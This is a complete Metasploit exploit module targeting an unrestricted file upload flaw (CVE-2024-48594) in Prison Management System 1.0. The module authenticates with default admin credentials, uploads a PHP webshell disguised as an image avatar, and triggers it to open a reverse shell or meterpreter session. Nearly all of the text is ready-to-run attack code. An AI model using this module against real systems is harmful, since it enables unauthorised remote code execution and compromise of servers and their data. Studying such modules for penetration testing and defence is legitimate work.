📄 Prison Management System 1.0 Shell Upload

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Prison Management System 1.0 Authenticated RCE via Unrestricted File Upload',
            'Description' => %q{
              This module exploits an unrestricted file upload vulnerability in Prison Management System 1.0.
              An authenticated user can upload a PHP file with arbitrary content by abusing the avatar upload
              functionality in the add-admin.php endpoint. The application fails to properly validate the
              uploaded file type, allowing an attacker to upload a PHP webshell.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Alexandru Ionut Raducu',
            ],
            'References' => [
              ['CVE', '2024-48594'],
              ['URL', 'https://www.sourcecodester.com/sql/17287/prison-management-system.html']
            ],
            'Platform' => ['php', 'unix', 'linux'],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
                  'Type' => :php
                }
              ],
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
                  'Type' => :unix_cmd
                }
              ],
              [
                'Linux Dropper',
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X64, ARCH_X86],
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
                  'Type' => :linux_dropper
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2024-10-28',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to Prison Management System', '/']),
          OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
          OptString.new('PASSWORD', [true, 'Password for authentication', 'admin123'])
        ])
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php')
        )
    
        return CheckCode::Unknown('Connection failed') unless res
        return CheckCode::Detected("Unexpected response code: #{res.code}") unless res.code == 200
    
        if res.body.include?('Prison Management System') || res.body.include?('txtusername')
          return CheckCode::Detected('Prison Management System login page detected')
        end
    
        CheckCode::Safe('Target does not appear to be Prison Management System')
      end
    
      def login
        print_status("Attempting to authenticate as #{datastore['USERNAME']}...")
    
        # First GET request to obtain session cookie
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'),
          'keep_cookies' => true
        )
    
        fail_with(Failure::Unreachable, 'Connection failed while fetching login page') unless res
        fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
    
        vprint_status("Retrieved session cookie: #{res.get_cookies}")
    
        # POST login credentials
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'),
          'keep_cookies' => true,
          'vars_post' => {
            'txtusername' => datastore['USERNAME'],
            'txtpassword' => datastore['PASSWORD'],
            'btnlogin' => ''
          }
        )
    
        fail_with(Failure::Unreachable, 'Connection failed during login') unless res
    
        fail_with(Failure::NoAccess, 'Login failed - invalid credentials') unless res.code == 302
    
        print_good('Successfully authenticated!')
      end
    
      def upload_webshell
        @webshell_name = Rex::Text.rand_text_alpha(8) + '.php'
    
        case target['Type']
        when :php
          php_payload = payload.encoded
        when :unix_cmd
          php_payload = "<?php system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>"
        when :linux_dropper
          php_payload = "<?php system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>"
        end
    
        # Generate random form data for the new admin user
        random_username = Rex::Text.rand_text_alpha(8)
        random_fullname = Rex::Text.rand_text_alpha(8)
        random_password = Rex::Text.rand_text_alpha(8)
        random_phone = Rex::Text.rand_text_numeric(10)
    
        print_status("Uploading webshell as #{@webshell_name}...")
    
        # Build multipart form data
        form_data = Rex::MIME::Message.new
        form_data.add_part(random_username, nil, nil, 'form-data; name="txtusername"')
        form_data.add_part(random_fullname, nil, nil, 'form-data; name="txtfullname"')
        form_data.add_part(random_password, nil, nil, 'form-data; name="txtpassword"')
        form_data.add_part(random_phone, nil, nil, 'form-data; name="txtphone"')
        form_data.add_part('', nil, nil, 'form-data; name="btncreate"')
        form_data.add_part(php_payload, 'image/jpeg', nil, "form-data; name=\"avatar\"; filename=\"#{@webshell_name}\"")
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'Admin', 'add-admin.php'),
          'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
          'data' => form_data.to_s,
          'keep_cookies' => true
        )
    
        fail_with(Failure::Unreachable, 'Connection failed during upload') unless res
        fail_with(Failure::UnexpectedReply, 'File upload failed') unless res.code == 200 && res.body.include?('User Added Successfully')
    
        @webshell_path = normalize_uri(target_uri.path, 'uploadImage', 'Profile', @webshell_name)
        register_file_for_cleanup(@webshell_name)
    
        print_good("Webshell uploaded to #{@webshell_path}")
      end
    
      def execute_webshell
        print_status('Triggering payload execution...')
    
        send_request_cgi({
          'method' => 'GET',
          'uri' => @webshell_path,
          'keep_cookies' => true
        }, 5)
      end
    
      def exploit
        login
        upload_webshell
        execute_webshell
      end
    end